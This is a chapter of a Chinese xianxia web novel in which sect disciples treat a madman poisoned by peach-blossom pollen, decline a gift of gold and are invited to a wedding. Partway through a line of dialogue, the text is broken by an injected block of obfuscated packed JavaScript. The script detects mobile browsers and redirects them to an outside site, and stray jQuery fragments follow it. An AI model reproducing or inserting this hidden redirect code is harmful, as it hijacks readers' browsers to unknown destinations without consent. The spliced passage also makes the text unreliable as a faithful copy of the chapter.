20.无解

作品:《殒身后发现徒弟想泡我

    何惠兰还未回过神来,就被一众丫鬟嬷嬷拉走了,小厮们扑过去压制发狂的顾奉,房门被阖上,只能听见里面的尖叫打碎东西的声音。


    “快!快去请那四位仙师过来……”何惠兰强撑着身子,吩咐道。


    “是!”


    “小姐我们先走吧,明日便要出嫁了,若是您在这儿出了事,我们不好跟老爷交代啊……”嬷嬷们劝她。


    何惠兰蹙了蹙眉,本来身子就不好,方才情绪大起大伏到现在精神头也没了多少,她待在这里也帮不上忙,只好听从她们的建议,深深看了眼吵闹的屋子后转身离开。


    ……


    “我家郎君他没事了吧?”顾三青着脸站在一旁,细看脖颈处也是淤青一片。


    岑楹将银针收好,淡淡道:“没事,至少在这两日都能清醒不会发疯。”


    顾三还未松了口气,就被她下一句话吓到心眼子提到嗓子眼。


    “你家郎君受刺激比较多,且吸入的花毒也多,你们要做好准备,他这辈子都是这样时不时地发疯。”岑楹也不知道为何那桃花妖的花粉居然是有毒的,而且这毒还巨难解,她目前暂且没有破解此毒的思路。


    顾三心下大骇,急忙问有没有解毒方法。


    岑楹尚未答复,从门外走进一个高大男子,面容冷肃,不怒自威。


    “顾奉怎么样了?”


    “老爷。”顾三硬着头皮将岑楹说的话复述了一遍。


    越听,这位何老爷的眉头皱得越紧。


    “这是没救了的意思?”何老爷毫无感情地扫了眼被五花大绑绑在床上的人,拧眉道。


    “……”这话顾三不敢答,垂下头缄默。


    何老爷的视线扫过岑楹,岑楹淡声道:“无解。”


    其实并非无解,只是她不想而已。


    自从岑楹听了白玉姮复述的有关方临春和牡丹的故事,她心里既后悔又气愤,并不想给他医治罢了,且若要医治定是要长期治疗,三五年是好不了的,至少也要十年、二十年……她没有这个时间耗在这,也不想为这种禽兽败类医治。


    她们五毒门可不是什么人都愿意医的,医不医全凭她们的意愿,仅此而已。


    何老爷不愿再看已经废了的顾奉,本就是一滩烂泥也没有可不可惜的,若不是看在他是他姐姐的遗腹子,他只需要养着他即可,不然这样的人怎么样都不可能进他何家的门。


    顾三本想挽留何老爷想要解释一番,但又记起何老爷的脾性,只好悻悻站在一旁。


    岑楹见事情都做好了,便说道:“既然顾公子没事了,那我先走了。”


    “嗳嗳嗳,仙师这边请!”顾三恭敬地将人请出去。


    其他三人都在屋外等着她,汇合之后正要往府外走。


    “你好好照顾顾公子吧,我们自己认得路。”岑楹转身婉拒顾三。


    “嗳,多谢您了,招待不周还望您见谅。”


    岑楹淡笑颔首。


    待人走后,几人一前一后往府外去。


    白玉姮问:“情况如何?”


    岑楹此才狠狠地翻了个白眼,吐出一口浊气。


    “精神失常,得了癔症,还伤了根本,估计这辈子都好不了了,时时发疯。”岑楹冷漠评价,“活该!”


    崔明璨也跟着附和:“该!”


    “那方临春与他们无冤无仇竟然将人害成这样,还留他一条命就算不错了!”


    “就是!”岑楹难得与他站在同一阵营。


    白玉姮和李天阔只是听着两人叽里呱啦的吐槽,未置一词。


    “仙师!仙师!”一个年轻婢女小跑过来,“仙师请留步。”


    “姑娘叫我们?”


    “是的,还请仙师留步。”小婢女对他们笑道,“我们家老爷知道各位仙师为少爷劳累,备好了茶水想请诸位往正厅一坐。”


    岑楹和崔明璨看向白玉姮。


    “那就去吧,正好渴了。”


    “诸位这边请。”


    婢女走在前面带路,崔明璨落在后面小声跟岑楹吐槽方才说的何老爷。


    “方才我们就站在门外,估计以为我们是顾奉的狐朋狗友,连看都没看我们一眼就走了。现在居然变脸得这么快!”


    岑楹哼哼:“估计是从旁人那知道我们的身份,想要从我们身上挖点好处,商人嘛。”


    崔明璨立马反驳她:“岑小楹你这样就以偏概全了哈!可不是所有商人都这样的!”


    岑楹睨他:“咋?戳到你啦?”


    “哼,告诉你吧。”崔明璨叉着腰,像只高傲的公孔雀,“我乃江州首富崔仕源之子!”


    “嘁,你就吹吧!上回让你请我吃个馄饨都东推西推,那么抠门还富商,我猜是负商吧!”岑楹不信,“玉姮你信不信?”


    白玉姮含笑看着他们吵嘴,摇摇头:“不信。”


    她当然是站在小楹这边的。


    崔明璨不服气:“白玉姮你个叛徒!”转头看向锯嘴葫芦李天阔,问道:“李兄你信不信?”


    李天阔睨他一眼,这一眼便饱含了多少信息,不言而喻。


    崔明璨快要被这几个人气死了:“你们这几个孤陋寡闻、头发长见识短!”


    “是是是,你见识多,走快点吧大富商!”岑楹催促他走快点。


    “哼!”


    “仙师到了,请。”小婢女恭敬道。


    “多谢。”


    四人走了进去,一个身材高大的男人见他们来了立马站起身来。


    “是何某有眼不识泰山,竟然连仙师们到府中还是今日才知晓。”何老爷严肃的脸上端的是和善的笑意,拱手致歉。


    “仙师。”何惠兰也走了过来,笑道,“是我们何府照顾不周诸位仙师,不知能不能给我们一个表明歉意的机会?”


    “何姑娘说的是什么话,客气了客气了。”崔明璨明显比她们三人更要擅长应对这样的场面,又说了一番漂亮的场面话后,哄得何老爷笑声连连。


    “倒是何某太高兴了竟忘了请诸位坐下来喝茶了,请请请。为了招待仙师们今日的茶可是何某珍藏许久的云鼎针雾。来人,斟茶!”


    话音一落,一众婢女鱼贯而入,手中皆捧着各色茶点,井然有序安置好后又安静退出,整个动作行云流水。


    “来来来,诸位仙师请。”何老爷举起茶杯敬他们。


    “果然是好茶!”崔明璨抿了口,叹道。


    “好喝仙师便多喝几杯。”


    两人又互相吹捧了几句,崔明璨这时才问道:“还不知何老爷唤我等留下来还有什么事么?”


    “嗳,”何老爷放下茶杯,接过一个婢女手中捧得东西,“这一是为了感谢诸位治疗我贤侄,这是诊金,小小心意不成敬意。”何老爷将东西推了过来,众人此刻才瞧清是什么,是一个流光溢彩的琉璃罐,里面装满了金子。


    岑楹蹙眉推辞:“这太过贵重了,且令侄的病我们并没有帮上什么忙,我们不能收。”


    “仙师莫要推辞。”何惠兰淡笑道,“就凭你们帮忙救下我表哥就是一件不可估价的事,这点东西都不值你们的恩情。”


    “惠儿说的不错。”何老爷点头赞同,“不过是一点心意,同一条人命比起来不足以说明什么。”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191240|163076||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那更是不能收了。”白玉姮笑道,“宗门有规定,不可收取百姓钱财,违者轻则鞭刑关禁闭,重则将会被逐出师门。”


    “这……”何老爷与何惠兰对视一眼。


    “是何某唐突了,既然诸位仙师顾及宗门规诫,那你们定不要拒绝第二件事。”


    “何老爷请说。”


    何惠兰接受到父亲的示意,娇羞地笑了笑,说道:“明日是我大婚之日,想邀请诸位仙师到场。”


    “有仙师们坐镇,我惠儿婚事定能顺顺利利。”


    四人互相看了眼,也不再拒绝。


    “好。”


    “明日婚事很快开始,不如仙师们先住我何家?”何老爷还没等他们拒绝,对外面的奴仆道,“来人,送仙师去东院的厢房!好生招待!”


    “是老爷。”


    “……”


    一通雷厉风行的动作下来,没有给他们婉拒的机会。


    岑楹道:“这何老爷真是说一不二。”


    “可不是,”崔明璨认同道,“但这何老爷明显是想打探我们的底细,莫非他也想修道?”


    岑楹翻了个白眼,低声道:“就凭他那身子恐怕连辟谷都办不到,早被酒肉女色掏空了身体。”


    “我瞧他看着蛮有精神头的啊?身体也壮硕得很!”


    “你看到的不过是表象罢了。他的虚不仅在身体,更是在心。”


    白玉姮接话道:“听闻他的女婿是今岁有名的秀才相公,也就是那个唐霈谦,这么着急就要成婚,估计身体是真的不行了。”


    李天阔也道:“看他家中只有一女,顾奉也靠不上,家产庞大,难免会遭人惦记。”


    崔明璨点头:“有这位秀才相公坐镇,估摸着能守不少年。”


    四人分析得头头是道。


    “且再歇一日,再去寻那桃花妖和牡丹吧。”白玉姮说道,“你们这两天也辛苦了,日夜颠倒捉那桃花妖,今早还没睡一会儿又被请过来,待会儿好好睡上一觉养养精神。”


    岑楹点点头:“嗯。你也辛苦了,早点休息。”


    崔明璨打了个哈欠,摆摆手:“我先去睡了,等任务结束了定要睡个昏天黑地!”


    岑楹笑着挤兑他几句。


    各自回了屋里歇息。


    一夜相安无事。


    第二日一早,白玉姮就被震天响的鞭炮声和锣鼓声吵醒。


    洗漱完出了门正巧遇上练剑回来的李天阔,打着赤膀,肌肉暴起还未平静,蒙着一层发亮的汗。


    “早。”


    “……早。”李天阔避之不及,下意识地缩了下赤/裸的臂膀,耳根发热,匆匆同她打了个招呼,快步回房了。


    “哐!”


    “???”白玉姮扫了眼他震天响的门,觉得莫名其妙。


    “小楹早。”


    岑楹被震醒,揉着眼出来,抱怨道:“谁大早上的摔门啊!真没公德心!”


    “早早早!”岑楹看她在练拳,也跟了上去比划,“话说你的小金蛇是什么啊?感觉好厉害的样子!”


    白玉姮面不改色心不跳地扯谎:“哦,这个是我师父送我的入门礼,是一位前辈的术灵,正好它乐意跟我,便送给我当武器了。”


    “哇!裴师叔这么好的啊!”岑楹啧啧称奇,那日在大殿上见到的裴师叔跟她说的好像有点不一样。


    “当然啦!”白玉姮还是很维护自己的徒弟的名声的,“他只是面冷心热,与他相处久了就会知道他的性子了。”


    她毫不保留地夸赞他,虽然在她心里也觉得这个徒弟越发的冷漠疏离了,同她以往认知的不太一样。